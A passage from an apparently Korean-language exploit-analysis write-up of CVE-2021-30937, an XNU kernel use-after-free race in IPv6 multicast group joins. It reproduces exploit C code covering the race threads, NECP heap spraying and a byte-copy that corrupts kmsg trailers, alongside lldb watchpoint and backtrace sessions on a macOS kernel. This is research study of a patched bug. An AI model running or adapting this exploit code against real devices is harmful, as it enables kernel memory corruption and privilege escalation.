0x00000014)\n  }\n  msgh_audit = {\n    val = ([0] = 0x000001f5, [1] = 0x000001f5, [2] = 0x00000014, [3] = 0x000001f5, [4] = 0x00000014, [5] = 0x00000170, [6] = 0x00000162, [7] = 0x0000033b)\n  }\n  msgh_context = 0x0000000000000000\n  msgh_ad = 0x00000000\n  msgh_labels = (sender = 0x00000000)\n}\n\n(lldb) p\/x sizeof(mach_msg_max_trailer_t)\n(unsigned long) 0x0000000000000044\n<\/code><\/pre>\n<h2>2-3. <code>mcast_increase_race_reliability()<\/code><\/h2>\n<p>\uc9c0\uae08\uae4c\uc9c0 \ub808\uc774\uc2f1\uc744 \ud1b5\ud574 <code>get_arb_free_holder<\/code> \ud568\uc218 \ud638\ucd9c\ud558\uae30 \uc804\uacfc \ud6c4\uc758 \ucee4\ub110\ud799 \ub370\uc774\ud130\ub97c \ube44\uad50\ud574\ubcf4\uc558\ub2e4.<\/p>\n<p>\ub2e4\uc2dc \ub3cc\uc544\uc640\uc11c, \ucde8\uc57d\uc810\uc744 \ud2b8\ub9ac\uac70\ud558\ub294 \ub808\uc774\uc2f1 \ucf54\ub4dc \uc0b4\ud3b4\ubcfc\ub824\uace0 \ud55c\ub2e4.\n\ub808\uc774\uc2f1\uc744 \uc548\uc815\uc801\uc73c\ub85c \ud558\uae30\uc5d0 \uc55e\uc11c <code>mcast_increase_race_reliability<\/code> \ud638\ucd9c\uc744 3\ubc88 \ud558\ub294\uac83\uc744 \ubcfc \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">mach_port_t get_arb_free_holder(void)\n{\n    int success = 0;\n    \n    \/\/ reliability voodoo\n    for (int i = 0; i &lt; 3; ++i)\n    {\n        mcast_increase_race_reliability();\n        printf(&quot;Increase reliability...\\n&quot;);\n    }\n    ...\n<\/code><\/pre>\n<p>\ud558\ub098\uc758 UDPv6 \uc18c\ucf13\uc744 \uc5f4\uace0,\n\uc11c\ub85c \ub2e4\ub978 \uba40\ud2f0\uce90\uc2a4\ud2b8 \uadf8\ub8f9 \uc8fc\uc18c\ub97c \ub3d9\uc801\uc73c\ub85c \uc0dd\uc131\ud558\uba74\uc11c \uba40\ud2f0\uce90\uc2a4\ud2b8 \uadf8\ub8f9\uc744 \uac00\uc785\ud558\ub3c4\ub85d <code>MCAST_JOIN_GROUP<\/code> \ub9e4\uac1c\ubcc0\uc218\uc640 \ud568\uaf10 <code>setsockopt<\/code> \ud638\ucd9c\ud558\ub294\uac83\uc744 3000\ubc88 \ubc18\ubcf5\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">void mcast_increase_race_reliability(void)\n{\n    struct group_req mreq = { 0 };\n    struct sockaddr_in6 sin6 = {0};\n    int s = socket(AF_INET6, SOCK_DGRAM, 0);\n    \n    mreq.gr_interface = 1;\n\n    sin6.sin6_len = sizeof(sin6);\n    sin6.sin6_family = AF_INET6;\n    sin6.sin6_port = 7878;\n    sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0;\n    sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0;\n    sin6.sin6_addr.__u6_addr.__u6_addr32[1] = 0;\n    sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000));\n\n    memcpy(&amp;mreq.gr_group, &amp;sin6, sizeof(sin6));\n\n    for (int i = 0; i &lt; 3000; ++i)\n    {\n        ((struct sockaddr_in6 *)(&amp;mreq.gr_group))-&gt;sin6_addr.__u6_addr.__u6_addr32[1] = i + (3000 * 3000);\n        setsockopt(s, IPPROTO_IPV6, MCAST_JOIN_GROUP, &amp;mreq, sizeof(mreq));\n    }\n}\n<\/code><\/pre>\n<h2>2-4. \ub2e4\uc2dc \ub3cc\uc544\uc640\uc11c, <code>get_arb_free_holder<\/code> \ud568\uc218 \uc0b4\ud3b4\ubcf4\uae30<\/h2>\n<p>macOS\/iOS \ud658\uacbd\uc5d0\uc11c \uc0c8\ub85c \uc0dd\uc131\ud560 \uc4f0\ub808\ub4dc\uc5d0 \u201c\uc0ac\uc6a9\uc790\uac00 \uc2dc\uc791\ud55c \uc989\uc2dc\ucc98\ub9ac \uc791\uc5c5\u201d \uc218\uc900\uc758 QoS\ub97c \ubd80\uc5ec\ud558\uc5ec <strong>\uc2dc\uc2a4\ud15c\uc774 \ud574\ub2f9 \uc4f0\ub808\ub4dc\uc5d0 \ub354 \ub192\uc740 \uc6b0\uc120\uc21c\uc704\ub97c \uc8fc\ub3c4\ub85d \ub9cc\ub4e0\ub2e4.<\/strong><\/p>\n<pre><code class=\"language-c\">mach_port_t get_arb_free_holder(void)\n{\n    ...\n    \/\/ more reliability voodoo\n    pthread_attr_t pattr;\n    pthread_attr_init(&amp;pattr);\n    pthread_attr_set_qos_class_np(&amp;pattr, QOS_CLASS_USER_INITIATED, 0);\n...\n<\/code><\/pre>\n<p>\uc5ec\uae30\uc11c <code>BYTECOPY_FIRST_TARGET<\/code> \uac12\uc740 <strong>0xfffffe228d003f64<\/strong>\uc774\ub2e4.<\/p>\n<p>\uc8fc\uc11d\uc744 \ud655\uc778\ud574\ubcf4\uba74,\n\uc5b4\ub5a4 kmsg\uac00 \uc190\uc0c1\ub418\uc5c8\ub294\uc9c0 \uc2dd\ubcc4\ud558\ub294 \ub370 \uc0ac\uc6a9\ud558\uae30 \uc704\ud574 kmsg\uc758 \ud2b8\ub808\uc77c\ub7ec \ud06c\uae30\ub97c corrupt\uc2dc\ud0a4\ub294 \uc6a9\ub3c4\ub85c,\n\ucd94\ud6c4 necp \uc2dc\uc2a4\ud15c\ucf5c\ub85c \uc2a4\ud504\ub808\uc774\ud560\ub584\uc758 \ub370\uc774\ud130\ub85c \uc4f0\uc778\ub2e4.<\/p>\n<pre><code class=\"language-c\">#define BYTECOPY_FIRST_TARGET (KHEAP_DATA_MAPPABLE_LOC + 0x3F8C - BYTECOPY_OFFSET_IPV6) \/\/ will copy over trailer size of kmsg (used for identification of which kmsg was corrupted)\n...\n\/\/ initialize refill buffer, putting the target for the bytecopy primitive there\n    uint8_t *necp_buf = malloc(4096);\n    *(uint64_t *)(necp_buf + 0x278) = BYTECOPY_FIRST_TARGET\n<\/code><\/pre>\n<p><code>inp_join_group<\/code> \ud568\uc218\uc5d0\uc11c \ub808\uc774\uc2a4 \ucee8\ub514\uc158\uc73c\ub85c heap use-after-free \ucde8\uc57d\uc810\uc744 \ud1b5\ud574 wild-copy\ub97c \uc218\ud589\ud558\ub3c4\ub85d \ub9cc\ub4e0\ub2e4. \uc21c\uc11c\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<ol>\n<li>UaF(Use-after-Free)\uac00 \ud2b8\ub9ac\uac70\ub420 \ubc84\ud37c\ub97c <strong>default.kalloc.1664<\/strong> \ud06c\uae30\ub85c \ub298\ub9ac\uace0, \ub2e4\uc74c <code>realloc<\/code>\uc774 \ubc1c\uc0dd\ud558\uae30 \uc804\uc5d0 \ucd5c\ub300 \ud06c\uae30\ub85c \ub9cc\ub4e0\ub2e4.<\/li>\n<li>default.kalloc.1664\uc5d0\uc11c UaF\ub97c \ud2b8\ub9ac\uac70\ud558\uace0, \ub9ac\ud544\uc774 \uc131\uacf5\ud558\uba74 bytecopy \ud504\ub9ac\ubbf8\ud2f0\ube0c\ub97c \uc218\ud589\ud55c\ub2e4.<\/li>\n<li>\uacbd\uc7c1(race) \ub3d9\uc548 default.kalloc.1664\uc5d0 \uc788\ub294 UaF \ubc84\ud37c\ub97c \ub9ac\ud544\ud55c\ub2e4.<\/li>\n<li>\ub3d9\uae30\ud654\ud55c \ub2e4\uc74c,<\/li>\n<li>\ub9ac\ud544\uc774 \uc131\uacf5\ud588\ub294\uc9c0 \ud655\uc778\ud55c\ub2e4. \uc131\uacf5\ud588\ub2e4\uba74 \uc190\uc0c1\ub41c kmsg\ub97c \uac00\uc9c4 \uac1d\uccb4\uc5d0 \ub300\ud574 \uc190\uc0c1\ub41c \ud2b8\ub808\uc77c\ub7ec \ud06c\uae30(trailer size)\uac00 \ubc18\ud658\ub41c\ub2e4. \uc774 kmsg\ub294 \uba54\uc2dc\uc9c0 \ube44\ud2b8\ub3c4 \uc190\uc0c1\ub418\uc5b4 \uc788\ub2e4. (0x80000000 &#8211; MACH_MSGH_BITS_COMPLEX )<\/li>\n<\/ol>\n<pre><code class=\"language-c\">#define UAF_BUFFER_KALLOC_1664_JOIN_COUNT 64 \/\/ UaF buffer ends up in default.kalloc.1664\n\/\/...\nint mcast_race_sock;\n\nint mcast_join_group(int ip)\n{\n    struct group_req mreq = { 0 };\n    struct sockaddr_in6 sin6 = {0};\n    \n    mreq.gr_interface = 1;\n\n    sin6.sin6_len = sizeof(sin6);\n    sin6.sin6_family = AF_INET6;\n    sin6.sin6_port = 7878;\n    sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0;\n    sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0;\n    sin6.sin6_addr.__u6_addr.__u6_addr32[1] = ip;\n    sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000));\n\n    memcpy(&amp;mreq.gr_group, &amp;sin6, sizeof(sin6));\n    \n    mreq.gr_interface = 1;\n    \n    return setsockopt(mcast_race_sock, IPPROTO_IPV6, MCAST_JOIN_GROUP, &amp;mreq, sizeof(mreq));\n}\n\n\/\/...\nint necp_open(int flags)\n{\n    return syscall(SYS_necp_open, flags);\n}\n\nint necp_client_action(int necp_fd, uint32_t action, uint8_t *client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size)\n{\n    return syscall(SYS_necp_client_action, necp_fd, action, client_id, client_id_len, buffer, buffer_size);\n}\n\nint spray_default_kalloc_necp(int necp_fd, uint8_t *b, uint32_t sz)\n{\n#define NECP_CLIENT_ADD 1\n    uint8_t if_id[0x10];\n    return necp_client_action(necp_fd, NECP_CLIENT_ADD, if_id, sizeof(if_id), b, sz);\n}\n\n\/\/...\nprintf(&quot;Start (will fail if device has not been rebooted since last run)\\n&quot;);\n    kheap_data_idx = -1;\n    for (int iterations = 0; iterations &lt; 255; ++iterations)\n    {\n        pthread_t pt1;\n        pthread_t pt2;\n        int s = socket(AF_INET6, SOCK_DGRAM, 0);\n        int necp_fd = necp_open(0);\n        \n        mcast_race_sock = s;\n        \n        \/\/ grow the buffer on which the UaF will be triggered to default.kalloc.1664 and\n        \/\/ put it at its max size before next realloc will occur\n        int ip = 0;\n        for (ip = 0; ip &lt; UAF_BUFFER_KALLOC_1664_JOIN_COUNT-2; ++ip)\n        {\n            mcast_join_group(ip);\n        }\n        \n        \/\/ trigger the UaF in default.kalloc.1664, perform bytecopy primitive if refill is successful\n        pthread_create(&amp;pt1, &amp;pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)ip);\n        pthread_create(&amp;pt2, &amp;pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)(ip + 1));\n        \n        \/\/ refill the UaF buffer in default.kalloc.1664 during the race\n        for (int i = 0; i &lt; 10; ++i)\n        {\n            spray_default_kalloc_necp(necp_fd, necp_buf, 0x318);\n        }\n        \n        \/\/ synchronize\n        pthread_join(pt1, NULL);\n        pthread_join(pt2, NULL);\n        \n        \/\/ find out if the refill succeeded, in which case a corrupted trailer size will be returned\n        \/\/ for the holder of the corrupted kmsg, which has also had its message bits corrupted\n        \/\/ (0x80000000 - MACH_MSGH_BITS_COMPLEX - now set)\n        {\n            for (int i = 0; i &lt; PORTS_COUNT; ++i)\n            {\n                int sz = port_peek_trailer_size(kheap_data_ports[i]);\n                if (sz != 8)\n                {\n                    printf(&quot;kheap_data_idx: %08X\\n&quot;, i);\n                    kheap_data_idx = i;\n                    break;\n                }\n            }\n            if (kheap_data_idx != -1)\n            {\n                success = 1;\n                break;\n            }\n        }\n\n        close(s);\n        printf(&quot;iteration %d\\n&quot;, iterations);\n    }\n<\/code><\/pre>\n<h2>2-5. \uc5b4\ub514\uc11c 1byte-copy\uac00 \ubc1c\uc0dd\ud558\ub294\uc9c0 \uad6c\uccb4\uc801\uc73c\ub85c \uc0b4\ud3b4\ubcf4\uae30<\/h2>\n<p>\uc6b0\uc120 Zer0Con \ubc1c\ud45c \uc2ac\ub77c\uc774\ub4dc\ub97c \ud1b5\ud574 \uc54c\uac8c \ub41c \uc815\ubcf4\ub294\n<code>inp_join_group<\/code>\uc5d0\uc11c UAF \ucde8\uc57d\uc810\uc774 \ubc1c\uc0dd\ud558\uc5ec wild-copy\uac00 \ubc1c\uc0dd\ud55c\ub2e4\ub294 \uac83\uc774\ub2e4.<\/p>\n<p>Monterey 12.0.1 vmapple \uae30\uc900 \uc544\ub798 \uc0ac\uc9c4\uc5d0\uc11c \uc790\uc138\ud788 \ud655\uc778\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Screenshot_2025-11-20_at_3.02.28_AM.png\" alt=\"Screenshot 2025-11-20 at 3.02.28\u202fAM.png\"><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Screenshot_2025-11-20_at_3.15.05_AM.png\" alt=\"Screenshot 2025-11-20 at 3.15.05\u202fAM.png\"><\/p>\n<p><strong>Zer0con \uc2ac\ub77c\uc774\ub4dc \ubc1c\ud45c\ub0b4\uc6a9\uc744 \ubcf4\uba74 <code>imf_commit<\/code>\uc5d0\uc11c wild-copy\uac00 \uc774\ub8e8\uc5b4\uc9c4\ub2e4\ub358\ub370,\n\ubb38\uc81c\ub294 \ub450 \uacf3\uc5d0 \ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8\ub97c \uc804\ubd80 \uac78\uc5b4\ubd10\ub3c4 \ubb34\uc2a8 \uc774\uc720\uc5d0\uc120\uc9c0 \ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8\uac00 hit\ub418\uc9c0 \uc54a\uc558\ub2e4.<\/strong><\/p>\n<p><strong>\uadf8\ub7fc \ub300\uccb4 \uc5b4\ub514\uc11c \uc5b4\ub5bb\uac8c 1 byte-copy\uac00 \uc774\ub8e8\uc5b4\uc9c0\ub294\uac78\uae4c?<\/strong><\/p>\n<pre><code class=\"language-c\">\/\/ xnu-8019.41.5\/bsd\/netinet\/in_mcast.c:890-892\nstatic void\nimf_commit(struct in_mfilter *imf)\n{\n\tstruct ip_msource       *ims;\n\tstruct in_msource       *lims;\n\n\tRB_FOREACH(ims, ip_msource_tree, &amp;imf-&gt;imf_sources) {\n\t\tlims = (struct in_msource *)ims;\n\t\t\/\/__text:FFFFFE0007608404 29 75 40 39  LDRB W9, [X9,#0x1D]\n\t\t\/\/__text:FFFFFE0007608408 09 71 00 39  STRB W9, [X8,#0x1C]\n\t\t\/\/__text:FFFFFE000760840C 0A 05 40 F9  LDR  X10, [X8,#8]\n\t\tlims-&gt;imsl_st[0] = lims-&gt;imsl_st[1];\n\t}\n\t\n\t\/\/__text:FFFFFE0007608474 C8 46 40 39  LDRB W8, [X22,#0x11]\n\t\/\/__text:FFFFFE0007608478 C8 42 00 39  STRB W8, [X22,#0x10]\n\timf-&gt;imf_st[0] = imf-&gt;imf_st[1];\n}\n<\/code><\/pre>\n<p>\uad6c\uc81c\uc801\uc73c\ub85c \ud655\uc778\ud574\ubcf4\uae30 \uc704\ud574\n\ub300\ucda9 \ud0a4 \ub204\ub974\uae30\uc804\uae4c\uc9c0 <code>get_arb_free_holder<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\uae30 \uc804\uae4c\uc9c0 \ub300\uae30\uc0c1\ud0dc\ub85c \ub9cc\ub4e4\uace0,<\/p>\n<pre><code class=\"language-c\">    printf(&quot;before calling get_arb_free_holder\\n&quot;);\n    getchar();\n    \n    \/\/ trigger bug, get arbitrary free\n    mach_port_t arb_free_holder = get_arb_free_holder();\n    ...\n<\/code><\/pre>\n<p><strong>\u201c2-1. Before vs After\u201d\uc5d0\uc11c \uc54c\uc218\uc788\ub4ef\uc774\nKHEAP_DATA_MAPPABLE_LOC+0x0, KHEAP_DATA_MAPPABLE_LOC+0x3f88 \ucd1d \ub450 \uacf3\uc5d0\uc11c \uac12\uc774 \ubcc0\uacbd\ub41c\ub2e4.<\/strong><\/p>\n<p>\ud574\ub2f9 \uc8fc\uc18c\uc5d0 watchpoint\ub97c \uc9c0\uc815\ud574\uc11c \ud655\uc778\ud574\ubcf4\uc790.<\/p>\n<pre><code class=\"language-c\">w s e -s 8 -- 0xfffffe228d000000\nw s e -s 8 -- 0xfffffe228d003f88\n<\/code><\/pre>\n<p>\ud760, \uc815\ud655\ud558\uc9c4 \uc54a\uc9c0\ub9cc\n\ub300\ucda9 <code>in6p_join_group<\/code> \ud568\uc218 \uadfc\ucc98\uc5d0\uc11c 1 byte-copy\uac00 \ubc1c\uc0dd\ud558\ub294 \uac83 \uac19\uc558\ub2e4.<\/p>\n<pre><code class=\"language-c\">(lldb) w s e -s 8 -- 0xfffffe228d000000\nWatchpoint created: Watchpoint 1: addr = 0xfffffe228d000000 size = 8 state = enabled type = m\n    watchpoint spec = '0xfffffe228d000000'\n    watchpoint resources:\n       #0: addr = 0xfffffe228d000000 size = 8\nWatchpoint 1 hit:\n    \nnew value: 69853348102161\n(lldb) c\nProcess 1 resuming\n\nWatchpoint 1 hit:\nold value: 69853348102161\nnew value: 69855629803537\nProcess 1 stopped\n* thread #1, name = 'CPU0', stop reason = watchpoint 1\n    frame #0: 0xfffffe0017f03100 kernel.release.vmapple`ExceptionVectorsBase + 256\nkernel.release.vmapple`ExceptionVectorsBase:\n-&gt;  0xfffffe0017f03100 &lt;+256&gt;: b      0xfffffe0017f04148 ; el1_sp0_fiq_vector_long\n    0xfffffe0017f03104 &lt;+260&gt;: nop    \n    0xfffffe0017f03108 &lt;+264&gt;: nop    \n    0xfffffe0017f0310c &lt;+268&gt;: nop    \nTarget 0: (kernel.release.vmapple) stopped.\n(lldb) bt\n* thread #1, name = 'CPU0', stop reason = watchpoint 1\n  * frame #0: 0xfffffe0017f03100 kernel.release.vmapple`ExceptionVectorsBase + 256\n    frame #1: 0xfffffe00183d44f0 kernel.release.vmapple`in6p_join_group(inp=&lt;unavailable&gt;, sopt=&lt;unavailable&gt;) at in6_mcast.c:2310:7 [opt] [inlined]\n    frame #2: 0xfffffe00183d4244 kernel.release.vmapple`ip6_setmoptions(inp=&lt;unavailable&gt;, sopt=&lt;unavailable&gt;) at in6_mcast.c:3062:11 [opt]\n    frame #3: 0xfffffe00183c8068 kernel.release.vmapple`ip6_ctloutput(so=0xfffffe150f99f128, sopt=0xfffffe60298cbd80) at ip6_output.c:2723:13 [opt]\n    frame #4: 0xfffffe00184d53e4 kernel.release.vmapple`sosetoptlock(so=0xfffffe150f99f128, sopt=0xfffffe60298cbd80, dolock=1) at uipc_socket.c:5035:12 [opt]\n    frame #5: 0xfffffe00184e3e80 kernel.release.vmapple`setsockopt(p=0xfffffe1513aa0098, uap=0xfffffe151118a560, retval=&lt;unavailable&gt;) at uipc_syscalls.c:2520:10 [opt]\n    frame #6: 0xfffffe0018587e84 kernel.release.vmapple`unix_syscall(state=0xfffffe1510292470, thread_act=&lt;unavailable&gt;, uthread=0xfffffe151118a560, proc=0xfffffe1513aa0098) at systemcalls.c:193:10 [opt]\n    frame #7: 0xfffffe0018072cf4 kernel.release.vmapple`handle_svc(state=0xfffffe1510292470) at sleh.c:2419:3 [opt] [inlined]\n    frame #8: 0xfffffe0018072ce8 kernel.release.vmapple`sleh_synchronous(context=0xfffffe1510292470, esr=&lt;unavailable&gt;, far=6097924096) at sleh.c:743:3 [opt]\n    frame #9: 0xfffffe0017f0479c kernel.release.vmapple`fleh_synchronous + 40\n    frame #10: 0x00000001a9705d70\n    frame #11: 0x00000001a973d4ec\n\n...\n\n(lldb) w s e -s 8 -- 0xfffffe228d003f88\nWatchpoint created: Watchpoint 1: addr = 0xfffffe228d003f88 size = 8 state = enabled type = m\n    watchpoint spec = '0xfffffe228d003f88'\n    watchpoint resources:\n       #0: addr = 0xfffffe228d003f88 size = 8\nWatchpoint 1 hit:\n    \nnew value: 34359738368\n(lldb) c\nProcess 1 resuming\n\nWatchpoint 1 hit:\nold value: 34359738368\nnew value: 0\nProcess 1 stopped\n* thread #1, name = 'CPU0', stop reason = watchpoint 1\n    frame #0: 0xfffffe001478b100 kernel.release.vmapple`ExceptionVectorsBase + 256\nkernel.release.vmapple`ExceptionVectorsBase:\n-&gt;  0xfffffe001478b100 &lt;+256&gt;: b      0xfffffe001478c148 ; el1_sp0_fiq_vector_long\n    0xfffffe001478b104 &lt;+260&gt;: nop    \n    0xfffffe001478b108 &lt;+264&gt;: nop    \n    0xfffffe001478b10c &lt;+268&gt;: nop    \nTarget 0: (kernel.release.vmapple) stopped.\n(lldb) bt\n* thread #1, name = 'CPU0', stop reason = watchpoint 1\n  * frame #0: 0xfffffe001478b100 kernel.release.vmapple`ExceptionVectorsBase + 256\n    frame #1: 0xfffffe0014c5c4f0 kernel.release.vmapple`in6p_join_group(inp=&lt;unavailable&gt;, sopt=&lt;unavailable&gt;) at in6_mcast.c:2310:7 [opt] [inlined]\n    frame #2: 0xfffffe0014c5c244 kernel.release.vmapple`ip6_setmoptions(inp=&lt;unavailable&gt;, sopt=&lt;unavailable&gt;) at in6_mcast.c:3062:11 [opt]\n    frame #3: 0xfffffe0014c50068 kernel.release.vmapple`ip6_ctloutput(so=0xfffffe151067f4f0, sopt=0xfffffe6029c7bd80) at ip6_output.c:2723:13 [opt]\n    frame #4: 0xfffffe0014d5d3e4 kernel.release.vmapple`sosetoptlock(so=0xfffffe151067f4f0, sopt=0xfffffe6029c7bd80, dolock=1) at uipc_socket.c:5035:12 [opt]\n    frame #5: 0xfffffe0014d6be80 kernel.release.vmapple`setsockopt(p=0xfffffe15160622c8, uap=0xfffffe150fd5f3c0, retval=&lt;unavailable&gt;) at uipc_syscalls.c:2520:10 [opt]\n    frame #6: 0xfffffe0014e0fe84 kernel.release.vmapple`unix_syscall(state=0xfffffe150f543ba0, thread_act=&lt;unavailable&gt;, uthread=0xfffffe150fd5f3c0, proc=0xfffffe15160622c8) at systemcalls.c:193:10 [opt]\n    frame #7: 0xfffffe00148facf4 kernel.release.vmapple`handle_svc(state=0xfffffe150f543ba0) at sleh.c:2419:3 [opt] [inlined]\n    frame #8: 0xfffffe00148face8 kernel.release.vmapple`sleh_synchronous(context=0xfffffe150f543ba0, esr=&lt;unavailable&gt;, far=4374465568) at sleh.c:743:3 [opt]\n    frame #9: 0xfffffe001478c79c kernel.release.vmapple`fleh_synchronous + 40\n    frame #10: 0x00000001a88a9d70\n    frame #11: 0x00000001a88e14ec\n<\/code><\/pre>\n<p>\uc870\uae08 \ub354 \ucf54\ub4dc\ub97c \uc0b4\ud3b4\ubcf8 \uacb0\uacfc,\n0xFFFFFE00076C0540\uc5d0\uc11c 1 byte-copy\uac00 \ubc1c\uc0dd\ud558\ub294\uac83\uc744 \ud655\uc778\ud558\uc600\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Screenshot_2025-11-21_at_3.22.16_PM.png\" alt=\"Screenshot 2025-11-21 at 3.22.16\u202fPM.png\"><\/p>\n<ul>\n<li>1 byte-copy for modifying trailer size of kmsg<\/li>\n<\/ul>\n<pre><code class=\"language-c\">Target 0: (kernel.release.vmapple) stopped.\n(lldb) bt\n* thread #3, name = 'CPU2', stop reason = breakpoint 2.1\n  * frame #0: 0xfffffe0026d885b0 kernel.release.vmapple`im6f_commit(imf=&lt;unavailable&gt;) at in6_mcast.c:827:20 [opt] [inlined]\n    frame #1: 0xfffffe0026d88520 kernel.release.vmapple`in6p_join_group(inp=&lt;unavailable&gt;, sopt=&lt;unavailable&gt;) at in6_mcast.c:2343:3 [opt] [inlined]\n    frame #2: 0xfffffe0026d88244 kernel.release.vmapple`ip6_setmoptions(inp=&lt;unavailable&gt;, sopt=&lt;unavailable&gt;) at in6_mcast.c:3062:11 [opt]\n    frame #3: 0xfffffe0026d7c068 kernel.release.vmapple`ip6_ctloutput(so=0xfffffe15102c87d8, sopt=0xfffffe6029bbbd80) at ip6_output.c:2723:13 [opt]\n    frame #4: 0xfffffe0026e893e4 kernel.release.vmapple`sosetoptlock(so=0xfffffe15102c87d8, sopt=0xfffffe6029bbbd80, dolock=1) at uipc_socket.c:5035:12 [opt]\n    frame #5: 0xfffffe0026e97e80 kernel.release.vmapple`setsockopt(p=0xfffffe1513802cb8, uap=0xfffffe1510b16e00, retval=&lt;unavailable&gt;) at uipc_syscalls.c:2520:10 [opt]\n    frame #6: 0xfffffe0026f3be84 kernel.release.vmapple`unix_syscall(state=0xfffffe15108867c0, thread_act=&lt;unavailable&gt;, uthread=0xfffffe1510b16e00, proc=0xfffffe1513802cb8) at systemcalls.c:193:10 [opt]\n    frame #7: 0xfffffe0026a26cf4 kernel.release.vmapple`handle_svc(state=0xfffffe15108867c0) at sleh.c:2419:3 [opt] [inlined]\n    frame #8: 0xfffffe0026a26ce8 kernel.release.vmapple`sleh_synchronous(context=0xfffffe15108867c0, esr=&lt;unavailable&gt;, far=4487431880) at sleh.c:743:3 [opt]\n    frame #9: 0xfffffe00268b879c kernel.release.vmapple`fleh_synchronous + 40\n    frame #10: 0x000000019485dd70\n    frame #11: 0x0000000100a80748   \/\/_get_arb_free_holder+0x3c (-&gt; _mcast_increase_race_reliability-&gt; _setsockopt)\n    frame #12: 0x0000000100a81270   \/\/_exploit_get_krw_and_kernel_base+0x40\n    frame #13: 0x0000000100a813b4   \/\/_main+0x50\n    frame #14: 0x0000000100e690f4\n(lldb) x\/4i $pc\n-&gt;  0xfffffe0026d88540: ldrb   w9, [x9, #0x29]\n    0xfffffe0026d88544: strb   w9, [x8, #0x28]\n    0xfffffe0026d88548: ldr    x10, [x8, #0x8]\n    0xfffffe0026d8854c: cbz    x10, 0xfffffe0026d88564 ; &lt;+6200&gt; [inlined] ip6_msource_tree_RB_GETPARENT at in6_mcast.c:164:1\n(lldb) reg read  x8 x9\n      x8 = 0xfffffe228d003f64\n      x9 = 0xfffffe228d003f64\n(lldb) x\/bx 0xfffffe228d003f64+0x28\n0xfffffe228d003f8c: 0x08\n(lldb) x\/bx 0xfffffe228d003f64+0x29\n0xfffffe228d003f8d: 0x00\n<\/code><\/pre>\n<ul>\n<li>1 byte-copy for modifying kmsg\u2019s message bits (<code>kheap_data_ports(type: ipc_port)'s kmsg-&gt;ikm_data-&gt;msgh_bits<\/code>)<\/li>\n<\/ul>\n<pre><code class=\"language-c\">(lldb) br list\nCurrent breakpoints:\n1: address = kernel.release.vmapple[0xfffffe00076c0540], locations = 1, resolved = 1, hit count = 1\n  1.1: where = kernel.release.vmapple`ip6_setmoptions + 6164 [inlined] im6f_commit + 32 at in6_mcast.c:825:23, address = 0xfffffe002b7fc540, resolved, hit count = 1 \n\n(lldb) breakpoint modify 1 -c &quot;$x9 != 0xfffffe228d003f64&quot;\n\n(lldb) bt\n* thread #1, name = 'CPU0', stop reason = breakpoint 1.1\n  * frame #0: 0xfffffe002b7fc540 kernel.release.vmapple`im6f_commit(imf=&lt;unavailable&gt;) at in6_mcast.c:825:23 [opt] [inlined]\n    frame #1: 0xfffffe002b7fc520 kernel.release.vmapple`in6p_join_group(inp=&lt;unavailable&gt;, sopt=&lt;unavailable&gt;) at in6_mcast.c:2343:3 [opt] [inlined]\n    frame #2: 0xfffffe002b7fc244 kernel.release.vmapple`ip6_setmoptions(inp=&lt;unavailable&gt;, sopt=&lt;unavailable&gt;) at in6_mcast.c:3062:11 [opt]\n    frame #3: 0xfffffe002b7f0068 kernel.release.vmapple`ip6_ctloutput(so=0xfffffe15106656f8, sopt=0xfffffe6029e2bd80) at ip6_output.c:2723:13 [opt]\n    frame #4: 0xfffffe002b8fd3e4 kernel.release.vmapple`sosetoptlock(so=0xfffffe15106656f8, sopt=0xfffffe6029e2bd80, dolock=1) at uipc_socket.c:5035:12 [opt]\n    frame #5: 0xfffffe002b90be80 kernel.release.vmapple`setsockopt(p=0xfffffe15111b5478, uap=0xfffffe15114ace60, retval=&lt;unavailable&gt;) at uipc_syscalls.c:2520:10 [opt]\n    frame #6: 0xfffffe002b9afe84 kernel.release.vmapple`unix_syscall(state=0xfffffe150f1a86a0, thread_act=&lt;unavailable&gt;, uthread=0xfffffe15114ace60, proc=0xfffffe15111b5478) at systemcalls.c:193:10 [opt]\n    frame #7: 0xfffffe002b49acf4 kernel.release.vmapple`handle_svc(state=0xfffffe150f1a86a0) at sleh.c:2419:3 [opt] [inlined]\n    frame #8: 0xfffffe002b49ace8 kernel.release.vmapple`sleh_synchronous(context=0xfffffe150f1a86a0, esr=&lt;unavailable&gt;, far=6164079312) at sleh.c:743:3 [opt]\n    frame #9: 0xfffffe002b32c79c kernel.release.vmapple`fleh_synchronous + 40\n    frame #10: 0x00000001af8b5d70\n    frame #11: 0x00000001af8ed4ec\n(lldb) x\/4i $pc\n-&gt;  0xfffffe002b7fc540: ldrb   w9, [x9, #0x29]\n    0xfffffe002b7fc544: strb   w9, [x8, #0x28]\n    0xfffffe002b7fc548: ldr    x10, [x8, #0x8]\n    0xfffffe002b7fc54c: cbz    x10, 0xfffffe002b7fc564 ; &lt;+6200&gt; [inlined] ip6_msource_tree_RB_GETPARENT at in6_mcast.c:164:1\n(lldb) reg read  x8 x9\n      x8 = 0xfffffe228cffffdb\n      x9 = 0xfffffe228cffffdb\n(lldb) x\/bx 0xfffffe228cffffdb+0x28\n0xfffffe228d000003: 